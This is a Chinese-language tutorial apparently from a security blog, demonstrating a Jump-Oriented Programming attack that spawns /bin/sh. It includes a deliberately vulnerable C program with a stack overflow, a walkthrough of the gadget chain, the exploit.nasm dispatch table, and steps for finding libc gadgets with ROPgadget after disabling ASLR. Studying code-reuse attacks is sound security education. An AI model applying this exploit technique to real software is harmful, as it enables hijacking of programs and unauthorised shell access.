最近,我在研究代碼重用攻擊與防御,在此過程中發現對于rop(return-Oriented Programming)的介紹有許多,但jop(Jump-Oriented Programming)卻少有提及。即使有,多數也與rop混雜在一起。因此,我決定基于論文Jump-Oriented Programming: A New Class of Code-Reuse Attack完成一次演示。
一.什么是jop?
jop,全稱Jump-Oriented Programming,中文譯為面向跳轉編程,是代碼重用攻擊方式的一種。在2011年,北卡羅來納州立大學的Tyler Bletsch等人首次提出這一概念。其實際上是在代碼空間中尋找被稱為gadget的一連串目標指令,且其以jmp結尾。下圖展示了jop原理。

Dispatcher是形如下列形式的代碼塊
pcßf(pc);
jmp pc;
pc可以是任意地址或寄存器,用其作為跳轉目標。f(pc)表示對pc進行的操作,以下是一個例子。
inc eax;
jmp eax;
比如說首次跳轉到了dispatch table的第一項,將會在執行一些指令后通過結尾處的jmp跳轉回Dispatcher處,此時執行inc eax,eax值已改變,再次跳轉就可以調到其他地方執行相應指令。而這些gadget的圖靈完備性已被證明,也就是說,我們能通過這些gadget達到幾乎所有目的。那么,讓我們開始吧!
二.通過jop執行/bin/sh(簡單版)
系統環境
主機OS : 4.4.0-116-generic內核Ubuntu 16.04 i686
CPU : Intel(R) Core(TM) i5-3337U CPU @ 1.80GHz
首先,我們來完成一個最簡版本的jop攻擊。
漏洞代碼vul.c
#include
#include
#include
#include
#include
#include
#include
char* executable="/bin//sh";
char* null="";
FILE * fd;
void attack_payload () {
asm(".intel_syntax noprefix");
//dispatcher
asm("add ebp,edi; jmp [ebp-0x39];");
//initializer
asm("popa; jmp [ebx-0x3e];");
//g00
asm("popa; cmc; jmp [edx];");
//g01
asm("inc eax; cmc; jmp [edx];");
//g02
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
//g03
asm("inc ebx; stc; jmp [edx];");
//g07
asm("popa; call dword ptr [ecx];");
//g08
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
//g09
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
//g0a
asm("int 0x80");
asm(".att_syntax noprefix");
}
void overflow() {
char buf[256];
fscanf(fd,"%[^n]",buf);
return;
}
int main(int argc, char** argv) {
char* filename = "exploit";
if(argc>1) filename = argv[1];
fd=fopen(filename, "r");
overflow();
}
在此版本的演示中,所有gadget均由內聯匯編直接寫入,無需在代碼空間中尋找。
攻擊最終要執行execve(“/bin/sh”,argv,envp),函數原型為
int execve(const char *filename,char * const argv[],char * const envp[]);
若要通過int 80執行它,需要有四個寄存器的參與:eax寄存器傳遞系統調用號0xb,ebx寄存器傳遞“/bin/sh”字符串的地址,ecx寄存器傳遞參數argv,edx寄存器傳遞環境變量envp。為此需要合理設置eax、ebx、ecx、edx等4個寄存器的值。具體步驟如下
= 1 * GB3 ①popa ; jmp *-0x3e(%ebx)
緩沖區溢出會在相應位置設置好數據,popa將會將棧頂所有數據彈出到相應寄存器,
棧幀指向buff字符串,然后跳轉至攻擊起始處,即第二步。
= 2 * GB3 ②add %edi,%ebp; jmp *-0x39(%ebp)
這時攻擊開始,此處ebp寄存器即對應圖4.2.5中的PC,edi寄存器已在上一步被設置為偏移量-4,跳轉到相應步驟,第一次將會跳到第三步。
= 3 * GB3 ③popa ; …… ; jmp *(%edx)
由于execve()的調用號為0x0000000b,包含’’,無法直接通過緩沖區溢出寫入eax寄存器,所以將會分階段寫入。這一步中,將會用popa設置相應寄存器,為寫入做準備,準備好一個中間變量,置為0xEEEEEE0b。將eax寄存器置為-1,并通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第四步。
= 4 * GB3 ④inc %eax ; ……; jmp *(%edx)
這一步將eax寄存器加一,為后面的寫入做準備,通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第五步。
= 5 * GB3 ⑤mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
此時ah=0x00,mov操作將把中間變量中的第5,6位0xEE置為0x00, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第六步。
= 6 * GB3 ⑥ inc %ebx ; …… ; jmp *(%edx)ebx寄存器加一,為下一步設置中間變量做準備, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第七步。
= 7 * GB3 ⑦ mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作將把中間變量中的第3,4位0xEE置為0x00, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第八步。
= 8 * GB3 ⑧ inc %ebx ; …… ; jmp *(%edx)
ebx寄存器加一,為下一步設置中間變量做準備, 通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第九步。
= 9 * GB3 ⑨mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00,mov操作將把中間變量中的第1,2位0xEE置為0x00, 中間變量此時為0x0000000b,通過edx寄存器跳轉回第二步,第二步再以新的地址執行一次跳轉,跳轉到第十步。
= 10 * GB3 ⑩popa ;…… ; jmp *(%ecx)
成功設置中間變量后,再次設置相應寄存器,通過ecx寄存器跳轉回第二步,執行之后步驟。
⑪xchg %eax,%ecx ;……; jmp *-0xf(%esi)
由于上一步需要ecx寄存器做跳轉,故交換eax,ecx, 通過esi寄存器跳轉回第二步,執行之后步驟。
⑫這個步驟無間接跳轉,將會把eax寄存器設置為中間變量值0xb,然后傳遞系統調用號,此時ebx寄存器指向“/bin/sh”,陷入80中斷,執行/bin/sh
exploit是由exploit.nasm文件生成的二進制文件,用作緩沖區溢出的輸入。

需要注意的只是它的前21行。
將vul.c編譯為可執行文件
gcc -g -fno-stack-protector -o vul vul.c
用gdb查看各地址

填入exploit.nasm
start:
; Constants:
base: equ 0xbfffef40 ; Address where this buffer is loaded under gdb
dispatcher: equ 0x08048449 ; Address of the dispatcher gadget
initializer equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x08048590 ; Points to the string “/bin/sh”
to_null: equ 0x08048599 ; Points to a null dword (0x00000000)
buffer_length: equ 0x100 ; Target program’s buffer size.
; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52 ; int 0x80
g09: dd dispatcher+43 ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
g08: dd dispatcher+37 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
g07: dd dispatcher+33 ; popa ; cmc ; jmp [ecx]
g06: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g05: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g04: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g03: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g02: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g01: dd dispatcher+14 ; inc eax ; fdivr st(1), st ; jmp [edx]
g00: dd dispatcher+9 ; popa ; fdivr st(1), st ; jmp [edx]
生成exploit

gdb下運行vul,執行/bin/sh

三.進階
以上例子可以作為jop的一個例子,但實際上不能真實反映其特點。jop 的gadget并不直接存在于當前存在的指令中,而是依賴于對于opcode的另一種解讀,如glibc-2.19中,有如下源碼:

但使用ROPgadget對其進行gadget提取結果如下:

實際從0x683c7處開始將其解讀為
D5 FF aad 0xff
FF jmp ecx
因此,我們需要去掉內聯匯編,直接在代碼空間中尋找gadget。
為此,我們需要使用ROPgadget工具。
sudo pip install ropgadget
我們將在libc中尋找gadget。查看其路徑并進行查找。

在gadget.txt中就能查找到各gadget的相對地址。





為了計算其絕對地址,我們關閉地址隨機化。

顯然有system_addr – system_libc = xx_addr – xx_libc
反匯編查看可得system_libc

gdb可打印system地址

則可計算各絕對地址,填入exploit.nasm.

再次生成exploit,gdb下運行。

至此,演示以全部完成。
源碼請自行下載https://pan.baidu.com/s/15CssPnl_Rv0VYCru3htF2Q
|